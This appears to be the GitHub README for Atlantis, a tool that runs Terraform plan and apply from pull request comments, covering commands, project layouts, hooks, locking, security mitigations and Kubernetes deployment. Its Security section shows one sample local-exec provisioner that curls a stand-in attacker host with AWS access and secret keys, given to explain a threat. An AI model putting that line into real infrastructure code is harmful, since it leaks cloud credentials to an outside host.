Skip to content

Latest commit

 

History

History
819 lines (687 loc) · 35 KB

README.md

File metadata and controls

819 lines (687 loc) · 35 KB
Raw

Atlantis

Atlantis Logo

A unified workflow for collaborating on Terraform through GitHub and GitLab

Walkthrough Video

Atlantis Walkthrough

Read about Why We Built Atlantis

CircleCI SuperDopeBadge Slack Status Go Report Card

Features

➜ Collaborate on Terraform with your team

  • Run terraform plan and apply from GitHub pull requests so everyone can review the output
  • Lock workspaces until pull requests are merged to prevent concurrent modification and confusion

➜ Developers can write Terraform safely

  • No need to distribute AWS credentials to your whole team. Developers can submit Terraform changes and run plan and apply directly from the pull/merge request
  • Optionally, require a review and approval prior to running apply

➜ Also

  • Support multiple versions of Terraform with a simple project config file

Atlantis Works With

Getting Started

Download from https://github.com/runatlantis/atlantis/releases

Run

./atlantis testdrive

This mode sets up Atlantis on a test repo so you can try it out. It will

  • fork an example terraform project
  • install terraform (if not already in your PATH)
  • install ngrok so we can expose Atlantis to GitHub
  • start Atlantis

If you're ready to permanently set up Atlantis see Production-Ready Deployment.

Pull/Merge Request Commands

Atlantis currently supports three commands that can be run via pull request comments (or merge request comments on GitLab):

Help Command

atlantis help

View help

Plan Command

atlantis plan [options] -- [terraform plan flags]

Runs terraform plan for the changes in this pull request.

Options:

  • -d directory Which directory to run plan in relative to root of repo. Use . for root. If not specified, will attempt to run plan for all Terraform projects we think were modified in this changeset.
  • -w workspace Switch to this Terraform workspace before planning. Defaults to default. If not using Terraform workspaces you can ignore this.
  • --verbose Append Atlantis log to comment.

Additional Terraform flags:

If you need to run terraform plan with additional arguments, like -target=resource or -var 'foo-bar' you can append them to the end of the comment after --, ex.

atlantis plan -d dir -- -var 'foo=bar'

If you always need to append a certain flag, see Project-Specific Customization.

Apply Command

atlantis apply [options] -- [terraform apply flags]

Runs terraform apply for the plans that match the directory and workspace.

Options:

  • -d directory Apply the plan for this directory, relative to root of repo. Use . for root. If not specified, will run apply against all plans created for this workspace.
  • -w workspace Apply the plan for this Terraform workspace. Defaults to default. If not using Terraform workspaces you can ignore this.
  • --verbose Append Atlantis log to comment.

Additional Terraform flags:

Same as with atlantis plan.

Project Structure

Atlantis supports several Terraform project structures:

  • a single Terraform project at the repo root
.
├── main.tf
└── ...
  • multiple project folders in a single repo (monorepo)
.
├── project1
│   ├── main.tf
|   └── ...
└── project2
    ├── main.tf
    └── ...
  • one folder per set of configuration
.
├── staging
│   ├── main.tf
|   └── ...
└── production
    ├── main.tf
    └── ...
  • using env/{env}.tfvars to define workspace specific variables. This works in both multi-project repos and single-project repos.
.
├── env
│   ├── production.tfvars
│   └── staging.tfvars
└── main.tf

or

.
├── project1
│   ├── env
│   │   ├── production.tfvars
│   │   └── staging.tfvars
│   └── main.tf
└── project2
    ├── env
    │   ├── production.tfvars
    │   └── staging.tfvars
    └── main.tf

With the above project structure you can de-duplicate your Terraform code between workspaces/environments without requiring extensive use of modules. At Hootsuite we found this project format to be very successful and use it in all of our 100+ Terraform repositories.

Workspaces/Environments

Terraform introduced Workspaces in 0.9. They allow for

a single directory of Terraform configuration to be used to manage multiple distinct sets of infrastructure resources

If you're using a Terraform version >= 0.9.0, Atlantis supports workspaces through the -w flag. For example,

atlantis plan -w staging

If a workspace is specified, Atlantis will use terraform workspace select {workspace} prior to running terraform plan or terraform apply.

If you're using the env/{env}.tfvars project structure we will also append -var-file=env/{env}.tfvars to plan and apply.

If no workspace is specified, we'll use the default workspace by default. This replicates Terraform's default behaviour which also uses the default workspace.

Terraform Versions

By default, Atlantis will use the terraform executable that is in its path. To use a specific version of Terraform just install that version on the server that Atlantis is running on.

If you would like to use a different version of Terraform for some projects but not for others

  1. Install the desired version of Terraform into the $PATH of where Atlantis is running and name it terraform{version}, ex. terraform0.8.8.
  2. In the project root (which is not necessarily the repo root) of any project that needs a specific version, create an atlantis.yaml file as follows
---
terraform_version: 0.8.8 # set to desired version

So your project structure will look like

.
├── main.tf
└── atlantis.yaml

Now when Atlantis executes it will use the terraform{version} executable.

Project-Specific Customization

An atlantis.yaml config file in your project root (which is not necessarily the repo root) can be used to customize

  • what commands Atlantis runs before init, get, plan and apply with pre_init, pre_get, pre_plan and pre_apply
  • what commands Atlantis runs after plan and apply with post_plan and post_apply
  • additional arguments to be supplied to specific terraform commands with extra_arguments
    • the commmands that we support adding extra args to are init, get, plan and apply
  • what version of Terraform to use (see Terraform Versions)

The schema of the atlantis.yaml project config file is

# atlantis.yaml
---
terraform_version: 0.8.8 # optional version
# pre_init commands are run when the Terraform version is >= 0.9.0
pre_init:
  commands:
  - "curl http://example.com"
# pre_get commands are run when the Terraform version is < 0.9.0
pre_get:
  commands:
  - "curl http://example.com"
pre_plan:
  commands:
  - "curl http://example.com"
post_plan:
  commands:
  - "curl http://example.com"
pre_apply:
  commands:
  - "curl http://example.com"
post_apply:
  commands:
  - "curl http://example.com"
extra_arguments:
  - command_name: plan
    arguments:
    - "-var-file=terraform.tfvars"

When running the pre_plan, post_plan, pre_apply, and post_apply commands the following environment variables are available

  • WORKSPACE: if a workspace argument is supplied to atlantis plan or atlantis apply, ex atlantis plan -w staging, this will be the value of that argument. Else it will be default
  • ATLANTIS_TERRAFORM_VERSION: local version of terraform or the version from terraform_version if specified, ex. 0.8.8
  • DIR: absolute path to the root of the project on disk

Locking

When plan is run, the project and workspace (but not the whole repo) are Locked until an apply succeeds and the pull request/merge request is merged. This protects against concurrent modifications to the same set of infrastructure and prevents users from seeing a plan that will be invalid if another pull request is merged.

If you have multiple directories inside a single repository, only the directory will be locked. Not the whole repo.

To unlock the project and workspace without completing an apply and merging, click the link at the bottom of the plan comment to discard the plan and delete the lock. Once a plan is discarded, you'll need to run plan again prior to running apply when you go back to that pull request.

Approvals

If you'd like to require pull/merge requests to be approved prior to a user running atlantis apply simply run Atlantis with the --require-approval flag. By default, no approval is required.

For more information on GitHub pull request reviews and approvals see: https://help.github.com/articles/about-pull-request-reviews/

For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html.

Security

Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely.

Atlantis could be exploited by

  • Running terraform apply on a malicious Terraform file with local-exec
resource "null_resource" "null" {
  provisioner "local-exec" {
    command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
  }
}
  • Running malicious hook commands specified in an atlantis.yaml file.
  • Someone adding atlantis plan/apply comments on your valid pull requests causing terraform to run when you don't want it to.

Mitigations

Don't Use On Public Repos

Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos until Atlantis gets an authentication system.

Don't Use --allow-fork-prs

If you're running on a public repo (which isn't recommended, see above) you shouldn't set --allow-fork-prs (defaults to false) because anyone can open up a pull request from their fork to your repo.

--repo-whitelist

Atlantis requires you to specify a whitelist of repositories it will accept webhooks from via the --repo-whitelist flag. For example:

  • Specific repositories: --repo-whitelist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • Your whole organization: --repo-whitelist=github.com/runatlantis/*
  • Every repository in your GitHub Enterprise install: --repo-whitelist=github.yourcompany.com/*
  • All repositories: --repo-whitelist=*. Useful for when you're in a protected network but dangerous without also setting a webhook secret.

This flag ensures your Atlantis install isn't being used with repositories you don't control. See atlantis server --help for more details.

Webhook Secrets

Atlantis should be run with Webhook secrets set via the $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET environment variables. Even with the --repo-whitelist flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is whitelisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).

Production-Ready Deployment

Install Terraform

terraform needs to be in the $PATH for Atlantis. Download from https://www.terraform.io/downloads.html

unzip path/to/terraform_*.zip -d /usr/local/bin

Check that it's in your $PATH

$ terraform version
Terraform v0.10.0

If you want to use a different version of Terraform see Terraform Versions

Hosting Atlantis

Atlantis needs to be hosted somewhere that github.com/gitlab.com or your GitHub/GitLab Enterprise installation can reach. Developers in your organization also need to be able to access Atlantis to view the UI and to delete locks.

By default Atlantis runs on port 4141. This can be changed with the --port flag.

Add GitHub Webhook

Once you've decided where to host Atlantis you can add it as a Webhook to GitHub. If you already have a GitHub organization we recommend installing the webhook at the organization level rather than on each repository, however both methods will work.

If you're not sure if you have a GitHub organization see https://help.github.com/articles/differences-between-user-and-organization-accounts/

If you're installing on the organization, navigate to your organization's page and click Settings. If installing on a single repository, navigate to the repository home page and click Settings.

  • Select Webhooks or Hooks in the sidebar
  • Click Add webhook
  • set Payload URL to http://$URL/events where $URL is where Atlantis is hosted. Be sure to add /events
  • set Content type to application/json
  • set Secret to a random key (https://www.random.org/strings/). You'll need to pass this value to the --gh-webhook-secret option when you start Atlantis
  • select Let me select individual events
  • check the boxes
    • Pull request reviews
    • Pushes
    • Issue comments
    • Pull requests
  • leave Active checked
  • click Add webhook

Add GitLab Webhook

If you're using GitLab, navigate to your project's home page in GitLab

  • Click Settings > Integrations in the sidebar
  • set URL to http://$URL/events where $URL is where Atlantis is hosted. Be sure to add /events
  • leave Secret Token blank or set this to a random key (https://www.random.org/strings/). If you set it, you'll need to use the --gitlab-webhook-secret option when you start Atlantis
  • check the boxes
    • Push events
    • Comments
    • Merge Request events
  • leave Enable SSL verification checked
  • click Add webhook

Create a GitHub Token

We recommend creating a new user in GitHub named atlantis that performs all API actions, however you can use any user.

NOTE: The Atlantis user must have "Write permissions" (for repos in an organization) or be a "Collaborator" (for repos in a user account) to be able to set commit statuses: Atlantis status

Once you've created the user (or have decided to use an existing user) you need to create a personal access token.

Create a GitLab Token

We recommend creating a new user in GitLab named atlantis that performs all API actions, however you can use any user. Once you've created the user (or have decided to use an existing user) you need to create a personal access token.

Start Atlantis

Now you're ready to start Atlantis!

If you're using GitHub, run:

$ atlantis server --atlantis-url $URL --gh-user $USERNAME --gh-token $TOKEN --gh-webhook-secret $SECRET
2049/10/6 00:00:00 [WARN] server: Atlantis started - listening on port 4141

If you're using GitLab, run:

$ atlantis server --atlantis-url $URL --gitlab-user $USERNAME --gitlab-token $TOKEN --gitlab-webhook-secret $SECRET
2049/10/6 00:00:00 [WARN] server: Atlantis started - listening on port 4141
  • $URL is the URL that Atlantis can be reached at
  • $USERNAME is the GitHub/GitLab username you generated the token for
  • $TOKEN is the access token you created. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see Configuration) or as an environment variable: ATLANTIS_GH_TOKEN or ATLANTIS_GITLAB_TOKEN
  • $SECRET is the random key you used for the webhook secret. If you left the secret blank then don't specify this flag. If you don't want this to be passed in as an argument for security reasons you can specify it in a config file (see Configuration) or as an environment variable: ATLANTIS_GH_WEBHOOK_SECRET or ATLANTIS_GITLAB_WEBHOOK_SECRET

Atlantis is now running! We recommend running it under something like Systemd or Supervisord.

Docker

Atlantis also ships inside a docker image. Run the docker image:

docker run runatlantis/atlantis:latest server <required options>

Usage

If you need to modify the Docker image that we provide, for instance to add a specific version of Terraform, you can do something like this:

  • Create a custom docker file
vim Dockerfile-custom
FROM runatlantis/atlantis

# copy a terraform binary of the version you need
COPY terraform /usr/local/bin/terraform
  • Build docker image
docker build -t {YOUR_DOCKER_ORG}/atlantis-custom -f Dockerfile-custom .
  • Run docker image
docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN

Kubernetes

Atlantis can be deployed into Kubernetes as a Deployment or as a Statefulset with persistent storage.

StatefulSet is recommended because Atlantis stores its data on disk and so if your Pod dies or you upgrade Atlantis, you won't lose the data. On the other hand, the only data that Atlantis has right now is any plans that haven't been applied and Atlantis locks. If Atlantis loses that data, you just need to run atlantis plan again so it's not the end of the world.

Regardless of whether you choose a Deployment or StatefulSet, first create a Secret with the webhook secret and access token:

echo -n "yourtoken" > token
echo -n "yoursecret" > webhook-secret
kubectl create secret generic atlantis-vcs --from-file=token --from-file=webhook-secret

Next, edit the manifests below as follows:

  1. Replace <VERSION> in image: runatlantis/atlantis:<VERSION> with the most recent version from https://github.com/runatlantis/atlantis/releases/latest.
    • NOTE: You never want to run with :latest because if your Pod moves to a new node, Kubernetes will pull the latest image and you might end up upgrading Atlantis by accident!
  2. Replace value: github.com/yourorg/* under name: ATLANTIS_REPO_WHITELIST with the whitelist pattern for your Terraform repos. See --repo-whitelist for more details.
  3. If you're using GitHub:
    1. Replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the @.
    2. Delete all the ATLANTIS_GITLAB_* environment variables.
  4. If you're using GitLab:
    1. Replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the @.
    2. Delete all the ATLANTIS_GH_* environment variables.

StatefulSet Manifest

Expand... 
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: atlantis
spec:
  serviceName: atlantis
  replicas: 1
  updateStrategy:
    type: RollingUpdate
    rollingUpdate:
      partition: 0
  selector:
    matchLabels:
      app: atlantis
  template:
    metadata:
      labels:
        app: atlantis
    spec:
      securityContext:
        fsGroup: 1000 # Atlantis group (1000) read/write access to volumes.
      containers:
      - name: atlantis
        image: runatlantis/atlantis:v<VERSION> # 1. Replace <VERSION> with the most recent release.
        env:
        - name: ATLANTIS_REPO_WHITELIST
          value: github.com/yourorg/* # 2. Replace this with your own repo whitelist.

        ### GitHub Config ###
        - name: ATLANTIS_GH_USER
          value: <YOUR_GITHUB_USER> # 3i. If you're using GitHub replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the `@`.
        - name: ATLANTIS_GH_TOKEN
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: token
        - name: ATLANTIS_GH_WEBHOOK_SECRET
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: webhook-secret

        ### GitLab Config ###
        - name: ATLANTIS_GITLAB_USER
          value: <YOUR_GITLAB_USER> # 4i. If you're using GitLab replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the `@`.
        - name: ATLANTIS_GITLAB_TOKEN
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: token
        - name: ATLANTIS_GITLAB_WEBHOOK_SECRET
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: webhook-secret

        - name: ATLANTIS_DATA_DIR
          value: /atlantis
        - name: ATLANTIS_PORT
          value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override.
        volumeMounts:
        - name: atlantis-data
          mountPath: /atlantis
        ports:
        - name: atlantis
          containerPort: 4141
        resources:
          requests:
            memory: 256Mi
            cpu: 100m
          limits:
            memory: 256Mi
            cpu: 100m
  volumeClaimTemplates:
  - metadata:
      name: atlantis-data
    spec:
      accessModes: ["ReadWriteOnce"] # Volume should not be shared by multiple nodes.
      resources:
        requests:
          # The biggest thing Atlantis stores is the Git repo when it checks it out.
          # It deletes the repo after the pull request is merged.
          storage: 5Gi
---
apiVersion: v1
kind: Service
metadata:
  name: atlantis
spec:
  ports:
  - name: atlantis
    port: 80
    targetPort: 4141
  selector:
    app: atlantis

Deployment Manifest

Expand... 
apiVersion: apps/v1
kind: Deployment
metadata:
  name: atlantis
  labels:
    app: atlantis
spec:
  replicas: 1
  selector:
    matchLabels:
      app: atlantis
  template:
    metadata:
      labels:
        app: atlantis
    spec:
      containers:
      - name: atlantis
        image: runatlantis/atlantis:v<VERSION> # 1. Replace <VERSION> with the most recent release.
        env:
        - name: ATLANTIS_REPO_WHITELIST
          value: github.com/yourorg/* # 2. Replace this with your own repo whitelist.

        ### GitHub Config ###
        - name: ATLANTIS_GH_USER
          value: <YOUR_GITHUB_USER> # 3i. If you're using GitHub replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the `@`.
        - name: ATLANTIS_GH_TOKEN
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: token
        - name: ATLANTIS_GH_WEBHOOK_SECRET
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: webhook-secret

        ### GitLab Config ###
        - name: ATLANTIS_GITLAB_USER
          value: <YOUR_GITLAB_USER> # 4i. If you're using GitLab replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the `@`.
        - name: ATLANTIS_GITLAB_TOKEN
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: token
        - name: ATLANTIS_GITLAB_WEBHOOK_SECRET
          valueFrom:
            secretKeyRef:
              name: atlantis-vcs
              key: webhook-secret
        - name: ATLANTIS_PORT
          value: "4141" # Kubernetes sets an ATLANTIS_PORT variable so we need to override.
        ports:
        - name: atlantis
          containerPort: 4141
        resources:
          requests:
            memory: 256Mi
            cpu: 100m
          limits:
            memory: 256Mi
            cpu: 100m
---
apiVersion: v1
kind: Service
metadata:
  name: atlantis
spec:
  ports:
  - name: atlantis
    port: 80
    targetPort: 4141
  selector:
    app: atlantis

Routing and SSL

The manifests above create a Kubernetes Service of type ClusterIP which isn't accessible outside your cluster. Depending on how you're doing routing into Kubernetes, you may want to use a LoadBalancer so that Atlantis is accessible to GitHub/GitLab and your internal users.

If you want to add SSL you can use something like https://github.com/jetstack/cert-manager to generate SSL certs and mount them into the Pod. Then set the ATLANTIS_SSL_CERT_FILE and ATLANTIS_SSL_KEY_FILE environment variables to enable SSL. You could also set up SSL at your LoadBalancer.

AWS Fargate

If you'd like to run Atlantis on AWS Fargate check out the Atlantis module on the Terraform Module Registry: https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws

Testing Out Atlantis on GitHub

If you'd like to test out Atlantis before running it on your own repositories you can fork our example repo.

  • Fork https://github.com/runatlantis/atlantis-example
  • If you didn't add the Webhook as to your organization add Atlantis as a Webhook to the forked repo (see Add GitHub Webhook)
  • Now that Atlantis can receive events you should be able to comment on a pull request to trigger Atlantis. Create a pull request
    • Click Branches on your forked repo's homepage
    • click the New pull request button next to the example branch
    • Change the base to {your-repo}/master
    • click Create pull request
  • Now you can test out Atlantis
    • Create a comment atlantis help to see what commands you can run from the pull request
    • atlantis plan will run terraform plan behind the scenes. You should see the output commented back on the pull request. You should also see some logs show up where you're running atlantis server
    • atlantis apply will run terraform apply. Since our pull request creates a null_resource (which does nothing) this is safe to do.

Server Configuration

Configuration for atlantis server can be specified via command line flags, environment variables or a YAML config file. Config file values are overridden by environment variables which in turn are overridden by flags.

YAML

To use a yaml config file, run atlantis with --config /path/to/config.yaml. The keys of your config file should be the same as the flag, ex.

---
gh-token: ...
log-level: ...

Environment Variables

All flags can be specified as environment variables. You need to convert the flag's -'s to _'s, uppercase all the letters and prefix with ATLANTIS_. For example, --gh-user can be set via the environment variable ATLANTIS_GH_USER.

To see a list of all flags and their descriptions run atlantis server --help

AWS Credentials

Atlantis simply shells out to terraform so you don't need to do anything special with AWS credentials. As long as terraform works where you're hosting Atlantis, then Atlantis will work. See https://www.terraform.io/docs/providers/aws/#authentication for more detail.

Multiple AWS Accounts

Atlantis supports multiple AWS accounts through the use of Terraform's AWS Authentication.

If you're using the Shared Credentials file you'll need to ensure the server that Atlantis is executing on has the corresponding credentials file.

If you're using Assume role you'll need to ensure that the credentials file has a default profile that is able to assume all required roles.

Environment variables authentication won't work for multiple accounts since Atlantis wouldn't know which environment variables to execute Terraform with.

Assume Role Session Names

Atlantis injects the Terraform variable atlantis_user and sets it to the GitHub username of the user that is running the Atlantis command. This can be used to dynamically name the assume role session. This is used at Hootsuite so AWS API actions can be correlated with a specific user.

To take advantage of this feature, use Terraform's built-in support for assume role and use the atlantis_user terraform variable

provider "aws" {
  assume_role {
    role_arn     = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME"
    session_name = "${var.atlantis_user}"
  }
}

# need to define the atlantis_user variable to avoid terraform errors
variable "atlantis_user" {
  default = "atlantis_user"
}

If you're also using the S3 Backend make sure to add the role_arn option:

terraform {
  backend "s3" {
    bucket   = "mybucket"
    key      = "path/to/my/key"
    region   = "us-east-1"
    role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME"
    # can't use var.atlantis_user as the session name because
    # interpolations are not allowed in backend configuration
    # session_name = "${var.atlantis_user}" WON'T WORK
  }
}

Terraform doesn't support interpolations in backend config so you will not be able to use session_name = "${var.atlantis_user}". However, the backend assumed role is only used for state-related API actions. Any other API actions will be performed using the assumed role specified in the aws provider and will have the session named as the GitHub user.

Glossary

Project

A Terraform project. Multiple projects can be in a single GitHub repo. We identify a project by its repo and the path to the root of the project within that repo.

Workspace/Environment

A Terraform workspace. See terraform docs for more information.

FAQ

Q: Does Atlantis affect Terraform remote state?

A: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing terraform plan and terraform apply.

Q: How does Atlantis locking interact with Terraform locking?

A: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent terraform apply's from happening.

Terraform locking can be used alongside Atlantis locking since Atlantis is simply executing terraform commands.

Q: How to run Atlantis in high availability mode? Does it need to be?

A: Atlantis server can easily be run under the supervision of a init system like upstart or systemd to make sure atlantis server is always running.

Atlantis currently stores all locking and Terraform plans locally on disk under the --data-dir directory (defaults to ~/.atlantis). Because of this there is currently no way to run two or more Atlantis instances concurrently.

However, if you were to lose the data, all you would need to do is run atlantis plan again on the pull requests that are open. If someone tries to run atlantis apply after the data has been lost then they will get an error back, so they will have to re-plan anyway.

Q: How to add SSL to Atlantis server?

A: First, you'll need to get a public/private key pair to serve over SSL. These need to be in a directory accessible by Atlantis. Then start atlantis server with the --ssl-cert-file and --ssl-key-file flags. See atlantis server --help for more information.

Q: How can I get Atlantis up and running on AWS?

A: There is terraform-aws-atlantis project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained.

Contributing

Want to contribute? Check out CONTRIBUTING.

Credits

Atlantis was originally developed at Hootsuite under hootsuite/atlantis. The maintainers are indebted to Hootsuite for supporting the creation and continued development of this project over the last 2 years. The Hootsuite values of building a better way and teamwork made this project possible, alongside constant encouragement and assistance from our colleagues.

NOTE: We had to remove the "fork" label because otherwise code searches don't work.

Thank you to these awesome contributors!